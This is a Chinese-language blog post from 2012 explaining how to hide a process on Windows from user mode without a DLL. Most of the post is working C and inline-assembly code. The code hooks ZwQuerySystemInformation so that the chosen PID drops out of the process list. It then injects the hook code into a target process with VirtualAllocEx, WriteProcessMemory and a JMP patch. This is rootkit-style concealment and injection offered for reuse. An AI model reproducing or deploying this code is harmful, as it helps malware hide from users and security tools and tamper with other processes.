加载中…
个人资料
chenhui530
chenhui530
  • 博客等级:
  • 博客积分:0
  • 博客访问:12,264
  • 关注人气:9
  • 获赠金笔:0支
  • 赠出金笔:0支
  • 荣誉徽章:
相关博文
推荐博文
谁看过这篇博文
加载中…
正文 字体大小:

Ring3下无DLL隐藏进程

(2012-08-20 16:39:14)
标签:

ring3隐藏进程

无dll

分类: VC编程

此篇文章利用HOOK ZwQuerySystemInformation来隐藏进程。我们知道枚举进程一般是通过EnumProcesses,或者是CreateToolhelp32Snapshot,Process32First和Process32Next等函数来完成的,而不管是EnumProcesses还是使用快照方式来枚举,最终都需要调用ZwQuerySystemInformation里的功能号为SystemProcessInformation来完成功能。而ZwQuerySystemInformation会返回SYSTEM_PROCESS_INFORMATION这样一个数据结构来存放所有进程信息的。我们通过更改结构SYSTEM_PROCESS_INFORMATION进行进程的隐藏。

 

一般我们枚举进程是类似下面代码完成的

 

ZwQuerySystemInformation(SystemProcessInformation,SystemInformation,Length,ReturnLength);

 

  pSystemProcesses = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
  while (TRUE){
   printf("进程PID: %d\n",pSystemProcesses->InheritedFromProcessId);
   if (!pSystemProcesses->NextEntryOffset) {
    break;
   }
   pSystemProcesses = (PSYSTEM_PROCESS_INFORMATION)((char *)pSystemProcesses + pSystemProcesses->NextEntryOffset);
  }

 

当是我们需要隐藏的进程的时候我们可以通过增加NextEntryOffset的长度或者设置NextEntryOffset长度为0来隐藏进程。所以我们可以构造以下类似代码:

 

NTSTATUS
NTAPI
HOOK_ZwQuerySystemInformation(
         IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
         OUT PVOID SystemInformation,
         IN ULONG SystemInformationLength,
         OUT PULONG ReturnLength OPTIONAL
         )
{
 NTSTATUS ntStatus;
 PSYSTEM_PROCESSES pSystemProcesses=NULL,Prev;
 
 _asm{
  push ebx
  push ReturnLength
  push SystemInformationLength
  push SystemInformation
  push SystemInformationClass
  call ZwQuerySystemInformationProxy //让原来函数执行完成,只有这样函数才能返回我们需要的数据然后在数据里进行修改
  mov ntStatus,eax
  pop ebx
 }

 if (NT_SUCCESS(ntStatus) && SystemInformationClass==SystemProcessesAndThreadsInformation){
  pSystemProcesses = (PSYSTEM_PROCESSES)SystemInformation;
  while (TRUE){
   if (pSystemProcesses->ProcessId==0x12345678){ //如果是我们需要隐藏的PID就进行数据修改
    if (pSystemProcesses->NextEntryDelta){
     //当我们需要隐藏的进程后面还有进程时
     //越过我们自己进程让NextEntryDelta直接指向下一个数据块
     Prev->NextEntryDelta += pSystemProcesses->NextEntryDelta;
    }else{
     //当我们进程处于最后一个数据那么我们就把上一个数据结构的NextEntryDelta置0
     //这时系统在遍历我们进程时就不会发现了
     Prev->NextEntryDelta=0;
    }
    break;
   }
   if (!pSystemProcesses->NextEntryDelta) {
    break;
   }
   Prev=pSystemProcesses;
   pSystemProcesses = (PSYSTEM_PROCESSES)((char *)pSystemProcesses + pSystemProcesses->NextEntryDelta);
  }
 }
 return ntStatus;
}

 

我们为了不添加一个多余的DLL所以必须是以Shellcode方式注入到目标进程,但是要这样写完整的shellcode确实有点麻烦,我们可以取巧利用程序来实现。

 

我们把函数内需要重定位的地方全部使用__asm来完成比如上面的

 

 _asm{
  push ebx
  push ReturnLength
  push SystemInformationLength
  push SystemInformation
  push SystemInformationClass
  call ZwQuerySystemInformationProxy //让原来函数执行完成,只有这样函数才能返回我们需要的数据然后在数据里进行修改
  mov ntStatus,eax
  pop ebx
 }

 

调用绝对地址来实现,这样就不需要重定位了。这样我们可以把这个函数拷贝到目标进程了,再进行下目标地址的计算就ok了。所以有类似下面的实现代码:

 

BOOLEAN SetHook(DWORD dwProcessId,DWORD dwHideId)
{
 BOOLEAN bRet=FALSE;
 DWORD OldProtect;
 DWORD dwCodeStart,dwCodeEnd,dwCodeSize;
 BYTE HookCode[5]={0xE9,0,0,0,0};
 HANDLE hProcess=NULL;
 PVOID RemoteAllocBase=NULL;
 DWORD dwFunAddress;
 PUCHAR pBuffer;

 dwCodeStart = GetFunAddress((PUCHAR)FunStart);
 dwCodeEnd = GetFunAddress((PUCHAR)FunEnd);
 dwCodeSize = dwCodeEnd-dwCodeStart;

 hProcess = OpenProcess(PROCESS_ALL_ACCESS,
         FALSE,
         dwProcessId
         );

 if (hProcess){
  RemoteAllocBase = VirtualAllocEx(hProcess,
           NULL,
           dwCodeSize,
           MEM_COMMIT,
           PAGE_EXECUTE_READWRITE
           );
  if (RemoteAllocBase){
   printf("\t申请内存地址:0x%x\n",RemoteAllocBase);
   g_lpRemoteAllocBase = RemoteAllocBase;
   if (ZwQuerySystemInformation){
    bRet=VirtualProtect((PVOID)dwCodeStart,
         dwCodeSize,
         PAGE_EXECUTE_READWRITE,
         &OldProtect
         );
    if (bRet){
     memcpy((PVOID)dwCodeStart,ZwQuerySystemInformation,5); //这里可以在本进程中取备份代码也可以在远程进程中取一般正常情况是一样的
     *(DWORD *)(dwCodeStart+6)=(DWORD)ZwQuerySystemInformation;//这里不需要用特征定位,因为肯定是在第六个字节开始的地方
     *HookCode=0xE9;
     dwFunAddress = GetFunAddress((PUCHAR)HOOK_ZwQuerySystemInformation);
     dwFunAddress -= dwCodeStart;
     dwFunAddress += (DWORD)RemoteAllocBase; //计算HOOK_ZwQuerySystemInformation在目标进程中的地址
     printf("\tHOOK_ZwQuerySystemInformation内存地址:0x%x\n",dwFunAddress);
     *(DWORD *)&HookCode[1]=dwFunAddress-5-(DWORD)ZwQuerySystemInformation;

     dwFunAddress = GetFunAddress((PUCHAR)HOOK_ZwQuerySystemInformation);
     for (pBuffer=(PUCHAR)dwFunAddress;
       pBuffer<(PUCHAR)dwFunAddress+(dwCodeEnd-dwFunAddress);
       pBuffer++
          )
     {
      if (*(DWORD *)pBuffer==0x12345678){
       *(DWORD *)pBuffer = dwHideId;
       break;
      }
     }
     VirtualProtect((PVOID)dwCodeStart,
           dwCodeSize,
           PAGE_EXECUTE_READWRITE,
           &OldProtect
           );
    }
   }
   bRet=WriteProcessMemory(hProcess,
         RemoteAllocBase,
         (PVOID)dwCodeStart,
         dwCodeSize,
         NULL
         );
   if (bRet){
    bRet=WriteProcessMemory(hProcess,
          ZwQuerySystemInformation,
          HookCode,
          5,
          NULL
          );
   }
  }
  CloseHandle(hProcess);
 }
 return bRet;
}

 

写的有点乱,不能上传附件,望大家见谅。

0

阅读 评论 收藏 转载 喜欢 打印举报/Report
  • 评论加载中,请稍候...
发评论

    发评论

    以上网友发言只代表其个人观点,不代表新浪网的观点或立场。

      

    新浪BLOG意见反馈留言板 电话:4000520066 提示音后按1键(按当地市话标准计费) 欢迎批评指正

    新浪简介 | About Sina | 广告服务 | 联系我们 | 招聘信息 | 网站律师 | SINA English | 会员注册 | 产品答疑

    新浪公司 版权所有